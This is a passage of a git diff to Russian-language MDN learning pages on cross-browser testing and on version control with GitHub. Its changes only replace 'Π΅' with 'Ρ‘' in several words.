href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ? УстранСниС ошибок JavaScript</a>Β ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°).</p>
+<p>Π•ΡΡ‚ΡŒ мноТСство ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΈ, Π·Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ сСйчас ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎΒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ…, ΠΏΡ€ΠΈΒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…Β / устройствах / настройках просмотра. ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹Β ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ всС ошибки Π² ΠΊΠΎΠ΄Π΅ (см.Β <a href="/ru/docs/Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a>, <a href="/ru/docs/Learn/CSS/Introduction_to_CSS/ΠžΡ‚Π»Π°Π΄ΠΊΠ°_CSS">ΠžΡ‚Π»Π°Π΄ΠΊΠ° CSS</a>, and <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ? УстранСниС ошибок JavaScript</a>Β ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°).</p>
<p>ΠšΡ€ΠΎΡΡ-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ ΠΏΠΎΡ‚ΠΎΠΌΡƒ-Ρ‡Ρ‚ΠΎ:</p>
<ul>
- <li>ΠΈΠ½ΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ содСрТат Π±Π°Π³ΠΈ, ΠΈΠ»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ возмоТности ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ. Π’ настоящСС врСмя это Π½Π΅ такая частая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Π½ΠΎΒ ΠΊΠΎΠ³Π΄Π° IE4 ΠΈΒ Netscape 4 ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ Π·Π° ΠΏΡ€Π°Π²ΠΎΒ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠΌΠΈΠ½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π²Β 90-Π΅, ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²Β ΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Π»ΠΈ возмоТности ΠΏΠΎ-своСму Π² ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚Π½ΠΎΠ΅ прСимущСство, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π»ΠΎ Тизнь Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π°Π΄ΠΎΠΌ. БСйчас ΠΆΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ТСстчС ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ стандарты, Π½ΠΎ различия ΠΈ Π±Π°Π³ΠΈ всС ΠΆΠ΅ ΠΈΠ½ΠΎΠ³Π΄Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚.</li>
+ <li>ΠΈΠ½ΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ содСрТат Π±Π°Π³ΠΈ, ΠΈΠ»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ возмоТности ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ. Π’ настоящСС врСмя это Π½Π΅ такая частая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Π½ΠΎΒ ΠΊΠΎΠ³Π΄Π° IE4 ΠΈΒ Netscape 4 ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ Π·Π° ΠΏΡ€Π°Π²ΠΎΒ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠΌΠΈΠ½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π²Β 90-Π΅, ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²Β ΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Π»ΠΈ возмоТности ΠΏΠΎ-своСму Π² ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚Π½ΠΎΠ΅ прСимущСство, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π»ΠΎ Тизнь Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π°Π΄ΠΎΠΌ. БСйчас ΠΆΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ТёстчС ΡΠΎΠ±Π»ΡŽΠ΄Π°ΡŽΡ‚ стандарты, Π½ΠΎ различия ΠΈ Π±Π°Π³ΠΈ всС ΠΆΠ΅ ΠΈΠ½ΠΎΠ³Π΄Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚.</li>
<li>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π½ΡƒΡŽ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ поддСрТи соврСмСнных Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. Π­Ρ‚ΠΎ Π½Π΅ΠΈΠ·Π±Π΅ΠΆΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΠΌΠ΅Π΅Ρ‚Π΅ Π΄Π΅Π»ΠΎ с новСйшими функциями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΠΎΡΠ²Π°ΠΈΠ²Π°Ρ‚ΡŒ, ΠΈΠ»ΠΈ Ссли Π²Ρ‹ Π²Ρ‹Π½ΡƒΠΆΠ΄Π΅Π½Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΠΎΠ»Π΅Π΅ Π½Π΅ Π΄ΠΎΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡΒ ΠΈΠ»ΠΈΒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠΎΡ€ΠΎΠΆΠ΅Π½Ρ‹ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π² Π½ΠΈΡ… Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠ²Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π») Π·Π°Π΄ΠΎΠ»Π³ΠΎ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, как придумали новыС возмоТности. НапримСр, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄ΠΎΠ²Ρ‹Π΅ возмоТности JavaScript Π½Π° вашСм сайтС, Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄ ΠΏΠΎΠ΄ старый синтаксис, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ компиляторы.</li>
<li>Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ устройства ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ограничСния, ΠΈΠ·-Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… сайт Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΈΠ»ΠΈ отобраТаСтся Π½Π΅Π²Π΅Ρ€Π½ΠΎ. НапримСр, Ссли сайт Π±Ρ‹Π» спроСктирован для просмотра Π½Π° дСсктопных устройствах, ΠΎΠ½ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΌΠ΅Π»ΠΊΠΎ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΠΎ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах. Если ваш сайт содСрТит мноТСство Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π½Π° Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚Π°Ρ…, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вялым ΠΈΠ»ΠΈ Ρ€Π΅Π·ΠΊΠΈΠΌ Π½Π° устройствах мСньшСй ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</li>
</ul>
@@ -76,7 +76,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction
<p><strong>ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ &gt; Π Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° &gt; ВСстированиС &gt; Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ошибок</strong></p>
-<p>Π¨Π°Π³ΠΈ 2-4 Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ всС возмоТности. ΠœΡ‹ рассмотрим Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ элСмСнты процСсса тСстирования Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…, Π½ΠΎ ΠΏΠΎΠΊΠ° Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрСм Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ этапС.</p>
+<p>Π¨Π°Π³ΠΈ 2-4 Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ всС возмоТности. ΠœΡ‹ рассмотрим Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ элСмСнты процСсса тСстирования Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…, Π½ΠΎ ΠΏΠΎΠΊΠ° Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрём Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ этапС.</p>
<h3 id="ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅_ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
diff --git a/files/ru/learn/tools_and_testing/github/index.html b/files/ru/learn/tools_and_testing/github/index.html
index 3f7b569a9f..9b3f639f8e 100644
--- a/files/ru/learn/tools_and_testing/github/index.html
+++ b/files/ru/learn/tools_and_testing/github/index.html
@@ -19,16 +19,16 @@ original_slug: Learn/Tools_and_testing/GitHub
<p>Π‘ΠšΠ’ ΡΠ²Π»ΡΡŽΡ‚ΡΡ основой для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния:</p>
<ul>
- <li>Π Π΅Π΄ΠΊΠΎ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ людьми, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ риск ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Π°. Π Π΅Ρ‡ΡŒ ΠΈΠ΄Π΅Ρ‚ ΠΎ ситуации, ΠΊΠΎΠ³Π΄Π° нСсколько Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ пытаСтся Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ врСмя ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°. НуТСн ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ событиями ΠΈ Ρ‚Π΅ΠΌ самым ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΎΠ±Ρ‰Π΅ΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</li>
+ <li>Π Π΅Π΄ΠΊΠΎ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ людьми, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ риск ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Π°. Π Π΅Ρ‡ΡŒ ΠΈΠ΄Ρ‘Ρ‚ ΠΎ ситуации, ΠΊΠΎΠ³Π΄Π° нСсколько Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ пытаСтся Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ врСмя ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°. НуТСн ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ событиями ΠΈ Ρ‚Π΅ΠΌ самым ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΎΠ±Ρ‰Π΅ΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</li>
<li>Работая с ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Π² ΠΎΠ΄ΠΈΠ½ΠΎΡ‡ΠΊΡƒ ΠΈΠ»ΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ, Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½ΡƒΡŽ копию ΠΊΠΎΠ΄Π° Π½Π° случай ΠΏΠΎΠ»ΠΎΠΌΠΊΠΈ вашСго ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°.</li>
- <li>Π’Π°ΠΊΠΆΠ΅ Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΡ‚ΠΊΠ°Ρ‚ΠΈΡ‚ΡŒ измСнСния ΠΊ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠΌ вСрсиям, Ссли ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΠΏΠΎΠ·Π΄Π½Π΅Π΅. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π½Π°Ρ‡Π°Ρ‚ΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, сохраняя Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ вСрсии ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ„Π°ΠΉΠ»Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>myCode.js</code>, <code>myCode_v2.js</code>, <code>myCode_v3.js</code>, <code>myCode_final.js</code>, <code>myCode_really_really_final.js</code>, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅, Π½ΠΎ это Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ ΠΈ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°ΡŽΡ‰ΠΈΠΉ ошибки способ.</li>
+ <li>Π’Π°ΠΊΠΆΠ΅ Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΡ‚ΠΊΠ°Ρ‚ΠΈΡ‚ΡŒ измСнСния ΠΊ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠΌ вСрсиям, Ссли ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΠΏΠΎΠ·Π΄Π½Π΅Π΅. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π½Π°Ρ‡Π°Ρ‚ΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, сохраняя Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ вСрсии ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ„Π°ΠΉΠ»Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>myCode.js</code>, <code>myCode_v2.js</code>, <code>myCode_v3.js</code>, <code>myCode_final.js</code>, <code>myCode_really_really_final.js</code>, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅, Π½ΠΎ это Π½Π° самом Π΄Π΅Π»Π΅ Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ ΠΈ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°ΡŽΡ‰ΠΈΠΉ ошибки способ.</li>
<li>Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‡Π»Π΅Π½Ρ‹ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°Ρ…ΠΎΡ‚Π΅Ρ‚ΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ собствСнныС вСрсии ΠΊΠΎΠ΄Π° (Π² Git Ρ‚Π°ΠΊΠΈΠ΅ вСрсии ΠΈΠΌΠ΅Π½ΡƒΡŽΡ‚ΡΡ <strong>Π²Π΅Ρ‚ΠΊΠ°ΠΌΠΈ</strong>), Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π°Π΄ Π½ΠΎΠ²ΠΎΠΉ Ρ„ΠΈΡ‡Π΅ΠΉ Π² этой вСрсии, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΠΎ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ эту Π²Π΅Ρ€ΡΠΈΡŽ (Π² GitHub ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ <strong>ΠΏΡƒΠ» Ρ€Π΅ΠΊΠ²ΠΈΠ·ΠΈΡ‚Ρ‹</strong> - запросы Π½Π° принятиС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ) с Π³Π»Π°Π²Π½ΠΎΠΉ вСрсиСй.</li>
</ul>
